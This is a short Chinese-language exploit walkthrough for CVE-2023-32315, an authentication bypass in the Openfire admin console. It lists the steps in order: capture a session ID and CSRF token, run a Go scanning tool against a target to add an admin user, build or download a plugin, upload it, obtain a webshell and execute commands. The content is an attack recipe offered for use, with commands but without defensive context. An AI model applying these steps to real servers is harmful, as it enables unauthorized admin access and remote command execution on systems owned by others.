CVE-2023-32315

0x01 获取返回的JSESSIONID和csrftoken ,构造请求包新增用户(替换JSESSIONID、csrftoken)

cd CVE-2023-32315-Openfire-Bypass/scan_all
go mod tidy
go run main.go -u http://openfire.com:9090

0x02 插件编译安装

mvn clean package

或 releases下载插件

0x03 上传插件

0x04 得到webshel 0x05 执行命令